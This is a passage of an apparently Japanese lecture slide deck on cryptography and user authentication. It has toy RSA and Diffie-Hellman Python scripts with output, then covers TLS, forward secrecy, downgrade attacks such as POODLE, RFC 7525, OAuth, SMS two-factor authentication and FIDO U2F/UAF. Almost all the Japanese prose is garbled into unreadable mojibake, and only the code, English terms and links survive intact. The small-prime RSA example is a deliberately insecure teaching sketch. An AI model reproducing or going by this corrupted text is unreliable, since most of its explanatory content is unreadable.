], prime_nums[ 2 ] ] private_key = modinv( public_key[ 1 ], ( prime_nums[ 0 ] - 1 ) * ( prime_nums[ 1 ] - 1 ) ) return ( public_key, private_key ) public_key, private_key = generate_key_pair(); print( 'ൿີ伴:\t%d' % private_key ) print( 'ެ։伴:\t%d,%d' % ( public_key[ 0 ], public_key[ 1 ] ) ) plain = 0x686f6765 print( 'ݪจ:\t%X' % plain ) crypted = pow( plain, public_key[ 1 ], public_key[ 0 ] ) print( '҉߸Խ:\t%X' % crypted ) decrypted = pow( crypted, private_key, public_key[ 0 ] ) print( '෮߸:\t%X' % decrypted ) $ ./crypto.py ൿີ伴: 15753325457 ެ։伴: 25185933029,139721 ݪจ: 686F6765 ҉߸Խ: 2779B8996 ෮߸: 686F6765 RSA

Slide 157

Slide 157 text

def egcd( x, y, a = 0, b = 1 ): div, mod = divmod( x, y ) if mod == 0: return ( y, a ) return egcd( y, mod, b - div * a, a ) def modinv( x, y ): a, b = egcd( x, y ) if a != 1: raise Exception( 'no modinv') return b % y def generate_key_pair(): prime_nums = [ 116903, 215443, 139721 ] public_key = [ prime_nums[ 0 ] * prime_nums[ 1 ], prime_nums[ 2 ] ] private_key = modinv( public_key[ 1 ], ( prime_nums[ 0 ] - 1 ) * ( prime_nums[ 1 ] - 1 ) ) return ( public_key, private_key ) public_key, private_key = generate_key_pair(); print( 'ൿີ伴:\t%d' % private_key ) print( 'ެ։伴:\t%d,%d' % ( public_key[ 0 ], public_key[ 1 ] ) ) plain = 0x686f6765 print( 'ݪจ:\t%X' % plain ) crypted = pow( plain, public_key[ 1 ], public_key[ 0 ] ) print( '҉߸Խ:\t%X' % crypted ) decrypted = pow( crypted, private_key, public_key[ 0 ] ) print( '෮߸:\t%X' % decrypted ) $ ./crypto.py ൿີ伴: 15753325457 ެ։伴: 25185933029,139721 ݪจ: 686F6765 ҉߸Խ: 2779B8996 ෮߸: 686F6765 RSA ͋Δ੔਺nͱૉͳ1Ҏ্nະຬͷ ࣗવ਺ͷ਺ΛٻΊΔؔ਺Λ ΦΠϥʔͷτʔγΣϯτؔ਺φ(n)ͱݺͿ ૉ਺ͷఆٛΑΓn͕ૉ਺ͷ৔߹φ(n)͸n-1ʹͳΔ φ(ab)=φ(a)φ(b)ʹͳΔ͜ͱ͕஌ΒΕ͍ͯΔ aͱbΛ஌͍ͬͯΔͱφ(ab)͸ఆ਺࣌ؒͰٻ·Δ͕ ab͔͠Θ͔Βͳ͍৔߹φ(ab)͸ࢦ਺࣌ؒΛཁ͢Δ ͜ͷඇରশੑΛ࢖ͬͯެ։伴͔Βൿີ伴ΛٻΊΔͷΛࠔ೉ʹ͢Δ

Slide 158

Slide 158 text

ެ։伴ΛૉҼ਺෼ղ͢Ε͹ൿີ伴ʹͨͲΓண͚Δ ༰қͰ͸ͳ͍͕ ૯౰ͨΓͰ伴Λ୳͢ΑΓ͸୹࣌ؒͰߦ͑ͯ͠·͏

Slide 159

Slide 159 text

ૉҼ਺෼ղ͸େ͖ͳ਺ʹͳΔఔܭࢉʹ͕͔͔࣌ؒΔ ݱ࣮తͳ࣌ؒͰܭࢉͰ͖ͳ͍Α͏ͳେ͖ͳ਺Λ伴ͱ͢Δ͜ͱͰ ൿີ伴͕όϨΔͷΛ๷͙ RSAͷ৔߹伴௕768bitҎԼͷ΋ͷ͸ ݱ࣮తͳ࣌ؒͰൿີ伴͕ٻ·ͬͯ͠·͏ࣄ͕஌ΒΕ͍ͯΔ ͜ͷΑ͏ͳݹ͍伴͸ΑΓ௕͍伴ʹߋ৽͠ͳ͚Ε͹ͳΒͳ͍ ެ։伴҉߸ͷ伴௕͸ૉҼ਺෼ղʹ͔͔Δ࣌ؒͰܾΊΔ

Slide 160

Slide 160 text

Bob Charlie தؒऀ߈ܸ ѱҙ͋Δୈࡾऀͱ҆શʹ௨৴Ͱ͖ΔΑ͏ʹͳͬͯ͠·ͬͨ! Bob͞ΜͰ͔͢ ͸͍Bob͞ΜͰ͢ ௨৴૬ख͕ຊ෺Ͱ͋Δ͜ͱΛ͔֬Ίͳ͚Ε͹ͳΒ͍

Slide 161

Slide 161 text

ܦ࿏্ͷѱҙ͋Δୈࡾऀͷ ӨڹΛड͚ͳ͍ͨΊʹ͸ ௨৴಺༰Λ҉߸Խ ௨৴૬ख͕ຊ෺͔Ͳ͏͔֬ೝ ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ ѱҙ͋ΔୈࡾऀʹόϨͳ͍Α͏ʹ҉߸伴Λڞ༗ NEW!

Slide 162

Slide 162 text

Bob ೝূہ BobຊਓͰ͋Δ͜ͱΛ ෺ཧతͳํ๏Ͱ֬ೝͯ͠ ൿີ伴Λൃߦ ެ։伴Λऔಘ αʔόূ໌ॻ ެ։伴Λ࢖ͬͯ҉߸Խͨ͠σʔλ͸ ຊ෺ͷBob͚͕ͩಡΊΔ ԿΒ͔ͷཧ༝ͰBobͷൿີ伴͕ ଞਓͷखʹ౉ͬͯ͠·ͬͨ৔߹ ೝূہ͸ͦͷ伴Λࣦޮͤ͞Δ

Slide 163

Slide 163 text

Transport Layer Security ུͯ͠TLS ੲ͸SSLͱݺ͹Ε͍ͯͨ ͜ΕΒͷػೳΛ࣋ͬͨ௨৴࿏Λ࡞ΔͨΊͷن֨ RFCͰඪ४Խ[1]͞Ε͓ͯΓOpenSSLͳͲͷ࣮૷͕ଘࡏ͢Δ ࣌୅ͱͱ΋ʹ҆શͳ҉߸͸มΘΔͨΊTLS͸༷ʑͳ҉߸ٕज़Λαϙʔτ͍ͯ͠Δ [1] https://www.ietf.org/rfc/rfc5246.txt ௨৴಺༰Λ҉߸Խ ௨৴૬ख͕ຊ෺͔Ͳ͏͔֬ೝ ௨৴಺༰͕վ͟Μ͞Ε͍ͯͳ͍͔ݕূ ѱҙ͋ΔୈࡾऀʹόϨͳ͍Α͏ʹ҉߸伴Λڞ༗

Slide 164

Slide 164 text

Transport Layer Security ෺ཧ૚ σʔλϦϯΫ૚ TCP/IP ௨৴Λߦ͏ΞϓϦέʔγϣϯ TLS TLSΛ࢖͏ΞϓϦέʔγϣϯ͸ TLSʹ௨৴σʔλΛ౉͢ TLS͸௨৴૬खͷ֬ೝɺ伴ڞ༗Λߦ͍ ҉߸Խͯ͠ϋογϡΛ͚ͭͨσʔλΛ TCP/IPͷιέοτʹྲྀ͢ TLSͷ্ʹΞϓϦέʔγϣϯΛ࡞ΔࣄͰ ҉߸ʹؔ͢Δ໘౗ࣄΛ ࣗ෼Ͱ࣮૷͢Δඞཁ͕ͳ͘ͳΔ

Slide 165

Slide 165 text

RSAΛ༻͍ͨTLS ެ։伴Λऔಘ nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴ ༗ޮͳެ։伴Ͱ҉߸Խͨ͠஋Λ྆ऀͰڞ༗Ͱ͖ͨͱ͍͏͜ͱ͸ ڞ௨伴͸ҙਤͨ͠௨৴૬खͷΈͱڞ༗͞Εͨঢ়ଶʹ͋Δ ຊ෺ͷ௨৴૬ख͸ ൿີ伴Ͱ nΛऔΓग़ͤΔ Bob Alice

Slide 166

Slide 166 text

RSAΛ༻͍ͨTLS औಘ nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴ ͜ͷ࣌ͷ௨৴Λه࿥͍ͯ͠Δୈࡾऀ͕͍ͨͱ͢Δ ͜ͷ࣌఺Ͱ͸ڞ௨伴҉߸ͷ伴΋ൿີ伴΋Θ͔Βͳ͍ͨΊ ୈࡾऀ͸௨৴ͷ಺༰Λ஌Δ͜ͱ͕Ͱ͖ͳ͍ Bob Alice

Slide 167

Slide 167 text

nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ͦͷޙԿΒ͔ͷཧ༝Ͱൿີ伴͕ެʹͳΔͱ ୈࡾऀ͸อଘ͓͍ͯͨ͠௨৴಺༰͔Β ڞ௨伴ΛऔΓग़ͯ͠ શͯͷ௨৴಺༰Λ஌Δ͜ͱ͕Ͱ͖Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ

Slide 168

Slide 168 text

nΛެ։伴Ͱ҉߸Խͯ͠౉͢ ͋Δཚ਺nΛ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ڞ௨伴҉߸Ͱ ҉߸Խ͞Εͨ௨৴ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ϑΥϫʔυηΩϡϦςΟ ௨৴͕ߦΘΕͨޙͰαʔόূ໌ॻͷൿີ伴͕όϨͯ΋ ͦΕ·ͰʹߦΘΕͨ௨৴಺༰͕όϨͳ͍Α͏ʹ͢Δ͜ͱ RSAͰڞ༗伴ͷૉΛ௨৴૬खʹૹΔͱ ϑΥϫʔυηΩϡϦςΟΛ࣮ݱͰ͖ͳ͍ ͦͷޙԿΒ͔ͷཧ༝Ͱൿີ伴͕ެʹͳΔͱ ୈࡾऀ͸อଘ͓͍ͯͨ͠௨৴಺༰͔Β ڞ௨伴ΛऔΓग़ͯ͠ શͯͷ௨৴಺༰Λ஌Δ͜ͱ͕Ͱ͖Δ

Slide 169

Slide 169 text

཭ࢄର਺໰୊ G = xa mod p (ͨͩ͠p͸ૉ਺Ͱ 2 ≦ a < p) ͜ͷΑ͏ͳࣜʹ͓͍ͯ xͱaͱp͔ΒG͸ର਺࣌ؒͰٻ·Δ͕ xͱGͱp͔ΒaΛٻΊΔʹ͸ࢦ਺࣌ؒΛཁ͢Δ ಛʹp͕ڊେͳૉ਺ͷ৔߹ aΛݱ࣮తͳ࣌ؒͰٻΊΒΕͳ͘ͳΔ

Slide 170

Slide 170 text

Diffie-Hellman伴ڞ༗ G = xa mod p (ͨͩ͠p͸ૉ਺Ͱ 2 ≦ a < p) ͜ͷΑ͏ͳࣜʹ͓͍ͯ xͱaͱp͔ΒG͸ର਺࣌ؒͰٻ·Δ͕ xͱGͱp͔ΒaΛٻΊΔʹ͸ࢦ਺࣌ؒΛཁ͢Δ ͜ͷඇରশੑΛ࢖ͬͯ௨৴ܦ࿏্ʹݟ͑Δ৘ใ͚ͩͰ͸ ༰қʹ伴ΛٻΊΒΕͳ͍Α͏ʹ͢Δ ಛʹp͕ڊେͳૉ਺ͷ৔߹ aΛݱ࣮తͳ࣌ؒͰٻΊΒΕͳ͘ͳΔ

Slide 171

Slide 171 text

Diffie-Hellman伴ڞ༗ ͋Δཚ਺aΛ࡞Δ ͋Δཚ਺bΛ࡞Δ Ga = xa mod p Gb = xb mod p n = Gba mod p n = Gab mod p n͸ͲͪΒͷܭࢉํ๏Ͱ΋ ಉ͡஋ʹͳΔ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ nΛ΋ͱʹ ڞ௨伴Λ࡞Δ ͜͜Ͱަ׵͞ΕΔGa Gb ͔Β aͱbΛ஌Δࣄ͸Ͱ͖ͳ͍

Slide 172

Slide 172 text

#!/usr/bin/env python3 # -*- coding: utf-8 -*- import random random.seed() # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ p=152219 # ೚ҙͷૉ਺ x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺ # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍ secret1=random.randint(2,p) secret2=random.randint(2,p) print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 ) print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 ) # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ public1=pow( x, secret1, p ) public2=pow( x, secret2, p ) print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 ) print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 ) # ͜ͷ஋͕Ұக͢Δ key1=pow( public2, secret1, p ) key2=pow( public1, secret2, p ) print( u'Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key1 ) print( u'Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: %d' % key2 ) Diffie-Hellman伴ڞ༗ $ ./dh.py Alice͕࡞ͬͨൿີͷ஋: 118909 Bob͕࡞ͬͨൿີͷ஋: 89005 Alice͔ΒBobʹૹΔ஋: 26981 Bob͔ΒAliceʹૹΔ஋: 123319 Alice͕Bob͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243 Bob͕Alice͔Β໯ͬͨ஋Ͱ࡞ͬͨ஋: 7243

Slide 173

Slide 173 text

Slide 174

Slide 174 text

Diffie-Hellman Ephemeral Ұ࣌త #!/usr/bin/env python3 # -*- coding: utf-8 -*- import random random.seed() # pͱx͸ࣄલʹ௨৴૬खͱڞ༗͓ͯ͘͠ = ౪ௌऀʹݟ͑Δ p=152219 # ೚ҙͷૉ਺ x=2 # 2Ҏ্pະຬͷ೚ҙͷࣗવ਺ # ͜ͷ஋͸௨৴ʹ৐ͤͳ͍ = ౪ௌऀʹݟ͑ͳ͍ secret1=random.randint(2,p) secret2=random.randint(2,p) print( u'Alice͕࡞ͬͨൿີͷ஋: %d' % secret1 ) print( u'Bob͕࡞ͬͨൿີͷ஋: %d' % secret2 ) # ͜ͷ஋͸௨৴Ͱ૬खʹ౉͢ = ౪ௌऀʹݟ͑Δ public1=pow( x, secret1, p ) public2=pow( x, secret2, p ) print( u'Alice͔ΒBobʹૹΔ஋: %d' % public1 ) print( u'Bob͔ΒAliceʹૹΔ஋: %d' % public2 ) # ͜ͷ஋͕Ұக͢Δ key1=pow( public2, secret1, p ) ͜ͷ஋Λ伴ڞ༗Λߦ͏౓ʹ มߋ͢Δ ͜ͷ஋͕ແ͍ͱ伴Λ ಛఆͰ͖ͳ͍͕ ͜ͷ஋ࣗମ͸౪ௌͰ͖ͳ͍ͨΊ ϑΥϫʔυηΩϡϦςΟ͕ಘΒΕΔ ൿີͷ஋͕ຖճมΘΔͷͰ૬ख͕ຊ෺͔Ͳ͏͔ͷ֬ೝ͕Ͱ͖ͳ͘ͳΔ ૬ख͕ຊ෺Ͱ͋Δ͜ͱͷ֬ೝ͸RSAΛ࢖ͬͯߦ͏

Slide 175

Slide 175 text

DHE-RSA-AES256-SHA256 TLS͕Diffie-Hellman伴ڞ༗Λ࢖͍ͬͯΔ͔Ͳ͏͔ TLSͷ҉߸εΠʔτ໊ΛݟΕ͹Θ͔Δ ڞ௨伴ͷڞ༗ʹ Diffie-Hellman Ephemeral Λ࢖͏ ௨৴૬ख͕ຊ෺Ͱ͋ΔࣄΛ RSAͰ͔֬ΊΔ 256bitͷAESΛ࢖ͬͯσʔλΛ҉߸Խ͢Δ σʔλͷվ͟ΜΛݕग़͢ΔͨΊʹڞ௨伴ͱσʔλͷ SHA-256ϋογϡΛ࢖͏

Slide 176

Slide 176 text

ପԁ཭ࢄର਺໰୊ ཭ࢄର਺໰୊͸ ର਺࣌ؒͰܭࢉͨ݁͠Ռ͔Βٯࢉ͢Δͷʹ ࢦ਺࣌ؒΛཁ͢Δ໰୊Ͱ͋Δ ٯࢉͰ͖ͳ͍Θ͚Ͱ͸ͳ͍ͷͰ े෼େ͖ͳ஋Λ࢖ͬͯٯࢉʹ͕͔͔࣌ؒΔΑ͏ʹ͢Δඞཁ͕͋Δ ପԁ཭ࢄର਺໰୊͸ ର਺࣌ؒͰܭࢉͨ݁͠Ռ͔Βٯࢉ͢Δํ๏͕஌ΒΕ͍ͯͳ͍ ٯࢉ͢Δํ๏͕ൃݟ͞Εͳ͍ݶΓ͸ ૯౰ͨΓ߈ܸʹ଱͑ΒΕΔఔ౓ͷେ͖͞ͷ஋Ͱྑ͍

Slide 177

Slide 177 text

ପԁۂઢDiffie-Hellman伴ڞ༗ ཭ࢄର਺໰୊ͷ୅ΘΓʹପԁ཭ࢄର਺໰୊Λ࢖͏ Diffie-Hellman伴ڞ༗ TLSʹ͓͍ͯ͸ Elliptic Curve Diffie-Hellman Ephemeral ུͯ͠ECDHEͱදه͞ΕΔ ݱ࣌఺Ͱ౪ௌऀʹݱ࣮తͳ࣌ؒͰ伴Λ஌ΒΕͳ͍ͨΊʹ RFC7525Ͱਪ঑͞Ε͍ͯΔ஋ͷେ͖͞ %J⒏F)FMMNBO伴ڞ༗ ପԁۂઢ%J⒏F)FMMNBO伴ڞ༗ CJU CJU https://tools.ietf.org/html/rfc7525

Slide 178

Slide 178 text

͜͜·Ͱͷ࿩͕Α͘෼͔Βͳ͔ͬͨਓʹ΋ ͓͍֮͑ͯͯཉ͍͠ࣄ ౪ௌऀʹ৘ใ͕࿙Εͳ͍Α͏ʹਖ਼͘͠҉߸Λ࢖͏ͷ͸೉͍͠ ಛผͳཧ༝͕ͳ͍ݶΓTLSΛ࢖͓͏

Slide 179

Slide 179 text

TLS͸ྺ࢙͋ΔϓϩτίϧͳͷͰ ࠓ೔Ͱ͸҆શͱݴ͑ͳ͍҉߸ٕज़ʹ΋ରԠ͍ͯ͠Δ TLS͸઀ଓ࣌ʹαʔόͱΫϥΠΞϯτ͕࢖͑Δ҉߸ٕज़Λௐ΂ͯ ྆ऀ͕ରԠ͍ͯ͠Δ҉߸ٕज़Ͱ௨৴ΛࢼΈΔ ྫ͑͹ࠓ೔Ͱ͸ݱ࣮తͳ࣌ؒͰղಡͰ͖Δ512bitͷRSA΍RC4ʹ΋ରԠ͍ͯ͠Δ SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2 TLS 1.3 com ing soon 1994೥ 1996೥ 1999೥ 2006೥ 2008೥

Slide 180

Slide 180 text

ಡΊΔ SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2 TLS 1.3 com ing soon 1994೥ 1996೥ 1999೥ 2006೥ 2008೥ 2010೥୅ʹೖͬͯݹ͍҉߸Λબ͹ͤͯ ݹ͍҉߸ͷऑ఺Λಥ͍ͯ౪ௌΛߦ͏੬ऑੑ͕ग़͖ͯͨ ΠϚυΩͷ҉߸OK ΠϚυΩͷ҉߸ແཧ ΠϚυΩͷ҉߸OK ΠϚυΩͷ҉߸ແཧ ऑ͍҉߸ ऑ͍҉߸ Alice Bob ౪ௌऀ

Slide 181

Slide 181 text

POODLE(CVE-2014-3566) https://nvd.nist.gov/vuln/detail/CVE-2014-3566 2010೥୅ʹೖͬͯݹ͍҉߸Λબ͹ͤͯ SSL 3.0ͷن্֨ͷऑ఺Λಥ͍ͯ౪ௌΛߦ͏੬ऑੑ͕ग़͖ͯͨ ͜͜ʹ /*45ʹΑΔ100%-&ͷղઆΛషΔ

Slide 182

Slide 182 text

SSL 2.0 SSL 3.0 TLS 1.0 TLS 1.1 TLS 1.2 TLS 1.3 com ing soon 1994೥ 1996೥ 1999೥ 2006೥ 2008೥ TLS 1.3Ͱ͸ࠓͰ͸҆શͰͳ͍҉߸ٕज़͕࠷ॳ͔Β࢖༻ෆೳʹͳΔ TLS1.3͕ҰൠతʹͳΔ·Ͱ͸ TLS 1.2͕࣋ͭػೳͷ͏ͪ ةݥͱ͞Ε͍ͯΔػೳΛ੾ͬͨঢ়ଶͰӡ༻ SSL 3.0ͷΑ͏ͳຊ౰ʹݹ͍҉߸͔͠ରԠ͍ͯ͠ͳ͍௨৴૬ख͸ ௨৴ΛఘΊͯ΋Β͏͔͠ͳ͍

Slide 183

Slide 183 text

RFC7525 Recommendations for Secure Use of Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) TLS 1.2ͷػೳͷ͏ͪ ԿΛ੾͓ͬͯ͘΂͖͔͕ ·ͱΊΒΕ͍ͯΔ IUUQTUPPMTJFUGPSHIUNMSGD ඇެࣜͳ೔ຊޠ༁IUUQTTVNNFSXJOEKQEPDTSGD ͜͜ʹ 3'$ͷ"CTUSBDUΛషΔ

Slide 184

Slide 184 text

͜͜·Ͱͷ࿩͕Α͘෼͔Βͳ͔ͬͨਓʹ΋ ͓͍֮͑ͯͯཉ͍͠ࣄ ౪ௌऀʹ৘ใ͕࿙Εͳ͍Α͏ʹਖ਼͘͠҉߸Λ࢖͏ͷ͸೉͍͠ ಛผͳཧ༝͕ͳ͍ݶΓTLSΛ࢖͓͏ TLSΛ࢖͏࣌͸ ࠓͰ͸҆શͰ͸ͳ͍ݹ͍ػೳΛ੾Ζ͏ NEW!

Slide 185

Slide 185 text

ຊ෺ͷϢʔβͱ ِ෺ͷϢʔβΛݟ෼͚Δ

Slide 186

Slide 186 text

ೝূ Alice Aliceͷ;ΓΛ͢Δ ѱҙ͋Δୈࡾऀ "MJDFͰ͢ "MJDFͰ͢ αʔό͕ຊ෺͔Ͳ͏͔Λ͔֬ΊΔ࣌ͱҧ͍ Ϣʔβ͸ূ໌ॻΛ͍࣋ͬͯͳ͍

Slide 187

Slide 187 text

ύεϫʔυೝূ ύεϫʔυ͸ Ͱ͢ ݹ͔͘Βར༻͞Ε͍ͯΔϢʔβͷೝূํ๏ ຊ෺ͷ"MJDFͳΒ ύεϫʔυΛ஌͍ͬͯΔഺ ʜ Alice Aliceͷ;ΓΛ͢Δ ѱҙ͋Δୈࡾऀ

Slide 188

Slide 188 text

ύεϫʔυೝূͷ໰୊఺ ʜ๨Ε·ͨ͠ ͍ΖΜͳαʔϏεʹ͍ΖΜͳύεϫʔυΛઃఆ͍ͯͨ͠Β Ϣʔβ͸ύεϫʔυΛ๨ΕΔ ຊ෺ͷ"MJDFͳΒ ύεϫʔυΛ஌͍ͬͯΔഺ ʜ Alice Aliceͷ;ΓΛ͢Δ ѱҙ͋Δୈࡾऀ

Slide 189

Slide 189 text

ൿີͷ࣭໰ ͜ΕͰ͸ύεϫʔυΛΑΓ؆୯ʹ͍ͯ͠ΔΑ͏ͳ΋ͷͰ͋Δ ޷͖ͳ৯΂෺͸ ͳΜͰ͔͢ Alice Aliceͷ;ΓΛ͢Δ ѱҙ͋Δୈࡾऀ ਖ਼ղ ύεϫʔυΛઃఆ͠௚͍ͯͩ͘͠͞

Slide 190

Slide 190 text

OAuthೝূ ଟ͘ͷϢʔβ͸ Googleɺfacebook౳ͷ ΞΧ΢ϯτΛ͍࣋ͬͯΔ αʔϏε͸ ࣗ෼͕ͲΜͳ৘ใΛ ඞཁͱ͍ͯ͠Δ͔Λొ࿥͢Δ Ϣʔβ͸ͨ͘͞ΜͷαʔϏεΛར༻͍ͯ͠Δ ͦΕΒʹݸผʹύεϫʔυΛઃఆ͍ͯͨ͠Β ύεϫʔυΛ๨Εͯ͠·͏ͷ͸౰વͰ͋Δ

Slide 191

Slide 191 text

OAuthೝূ ͋ͷαʔϏε ͋ͷαʔϏεʹ ϩάΠϯ͍ͨ͠ ͋ͷαʔϏεʹ ͜Ε͚ͩͷ৘ใΛ౉͚͢ͲOK? OK ͋ͷαʔϏεʹ ϦΫΤεττʔΫϯ***Λ ౉͍ͯͩ͘͠͞

Slide 192

Slide 192 text

OAuthೝূ ͋ͷαʔϏε ϦΫΤεττʔΫϯ*** Ͱ͢ ϦΫΤεττʔΫϯ*** ͱ͔͍͏ͷ͕དྷͨΜ͚ͩͲ ͦͷਓ͸͏ͪͷAlice͞ΜͳͷͰ ௨͍ͯ͋͛ͯͩ͘͠͞ Alice͞ΜͷৄࡉΛ஌Γ͍ͨ৔߹͸ ΞΫηετʔΫϯ???Λ࢖͍ͬͯͩ͘͞

Slide 193

Slide 193 text

͜͜ʹ χίχίಈըͷ ϩάΠϯը໘ΛషΔ Ϣʔβ͸ීஈ࢖͍ͬͯΔSNS౳ʹ ϩάΠϯ͢Ε͹αʔϏεΛར༻Ͱ͖Δ αʔϏεຖʹ ύεϫʔυΛ֮͑Δඞཁ΋ αʔϏεຖʹύεϫʔυΛೖྗ͢Δඞཁ΋ͳ͍ αʔϏεఏڙऀ͸ ۩ମతͳϢʔβೝূΛ ΑͦͷαʔϏεʹؙ౤͛Ͱ͖Δ ͜͏͍͏ͷ OAuthೝূ OAuthೝূΛ׆༻͍ͯ͠ΔαʔϏεͷྫ χίχίಈը https://account.nicovideo.jp/login

Slide 194

Slide 194 text

2ཁૉೝূ Ϣʔβ͕ຊ෺Ͱ͋Δ͜ͱΛ֬ೝ͢Δखஈ͸3ͭʹ෼ྨͰ͖Δ 1.Ϣʔβ͸ԿΛ஌͍ͬͯΔ͔ ύεϫʔυೝূ౳ 2.Ϣʔβ͸ԿͰ͋Δ͔ ࢦ໲ೝূ౳ 3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔ ਎෼ূͷఏࣔ౳ 1Ҏ֎͸ಛผͳ૷ஔΛཁ͢Δҝ ैདྷଟ͘ͷΠϯλʔωοτ্ͷαʔϏε͸1͚ͩΛ࢖͖ͬͯͨ

Slide 195

Slide 195 text

ϑΟογϯά ຊ෺ͷαʔϏε ِ෺ͷαʔϏε ύεϫʔυ͸ Ͱ͢ ύεϫʔυ͸ Ͱ͢ ύεϫʔυ͸ Ͱ͢ Ϣʔβ͕ԿΛ஌͍ͬͯΔ͔͸ ϑΟογϯάʹର͢Δ଱ੑ͕ͳ͍

Slide 196

Slide 196 text

2ཁૉೝূ Ϣʔβ͕ຊ෺Ͱ͋Δ͜ͱΛ֬ೝ͢Δखஈ͸3ͭʹ෼ྨͰ͖Δ 1.Ϣʔβ͸ԿΛ஌͍ͬͯΔ͔ ύεϫʔυೝূ౳ 2.Ϣʔβ͸ԿͰ͋Δ͔ ࢦ໲ೝূ౳ 3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔ ਎෼ূͷఏࣔ౳ 2ͱ3ͷ͍ͣΕ͔Λซ༻ͯ͠ͳΓ͢·͠Λ๷͙ඞཁ͕͋Δ

Slide 197

Slide 197 text

SMSΛར༻ͨ͠2ཁૉೝূ 3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔ Ϣʔβ͸ొ࿥͞Ε͍ͯΔܞଳి࿩Λ͍࣋ͬͯΔ͔ ύεϫʔυ͸ Ͱ͢ 4.4ʹૹͬͨ൪߸Λ ೖྗ͍ͯͩ͘͠͞ ϩάΠϯ੒ޭ

Slide 198

Slide 198 text

SMSΛར༻ͨ͠2ཁૉೝূͷ໰୊఺ ύεϫʔυ͸ Ͱ͢ ѱҙ͋Δୈࡾऀ͕SMSΛ೷͖ݟͰ͖ͨΒ ೝূΛಥഁ͞ΕΔ ͦ΋ͦ΋൪߸ೖྗ͢Δͷ ΊΜͲ͍͘͞ ΋ͬͱ҆શ͔ͭखܰʹ 2ཁૉೝূ͢ΔͨΊͷಓ۩͸ ࡞Εͳ͍ͩΖ͏͔

Slide 199

Slide 199 text

FIDO U2F https://www.yubico.com/products/yubikey-hardware/ Ϣʔβ͕͔֬ʹ͜ͷUSBσόΠεΛ͍࣋ͬͯΔࣄΛ ެ։伴҉߸Λ࢖ͬͯূ໌͢Δ૷ஔ ͜͜ʹ ࣮ࡍʹചΒΕ͍ͯΔ'*%06'ͷσόΠεͷը૾ΛషΔ

Slide 200

Slide 200 text

FIDO U2FͰϢʔβొ࿥ Ϣʔβొ࿥ AppIDΛఴ͑ͯ伴ੜ੒Λཁٻ "QQ*%ʹରԠ͢Δ ൿີ伴ͱެ։伴Λ࡞Δ ެ։伴ͱೝূثূ໌ॻͱ ೝূثূ໌ॻͰ࡞ͬͨॺ໊Λฦ͢ ॺ໊Λ࢖ͬͯ ৴པͰ͖ΔೝূثͰ͋ΔࣄΛ֬ೝ ެ։伴Λอଘ ొ࿥׬ྃ

Slide 201

Slide 201 text

FIDO U2FͰϩάΠϯ ύεϫʔυೝূ "QQ*%ʹରԠ͢Δ ൿີ伴ͰDIBMMFOHFΛ҉߸Խ ҉߸Խͨ͠challengeΛฦ͢ อଘͯ͋͠Δެ։伴Ͱ DIBMMFOHFΛ෮߸Ͱ͖ΔࣄΛ֬ೝ ೝূ׬ྃ ύεϫʔυΛ֬ೝ AppIDͱchallengeΛૹ৴

Slide 202

Slide 202 text

FIDO UAF ͦ΋ͦ΋ύεϫʔυΛೖྗ͢Δͷ͕ΊΜͲ͍͘͞ 1.Ϣʔβ͸ԿΛ஌͍ͬͯΔ͔ ύεϫʔυೝূ౳ 2.Ϣʔβ͸ԿͰ͋Δ͔ ࢦ໲ೝূ౳ 3.Ϣʔβ͸ԿΛ͍࣋ͬͯΔ͔ ਎෼ূͷఏࣔ౳ 1Λ࢖Θͣʹ2ͱ3Ͱ2ཁૉೝূ͠Α͏

Slide 203

Slide 203 text

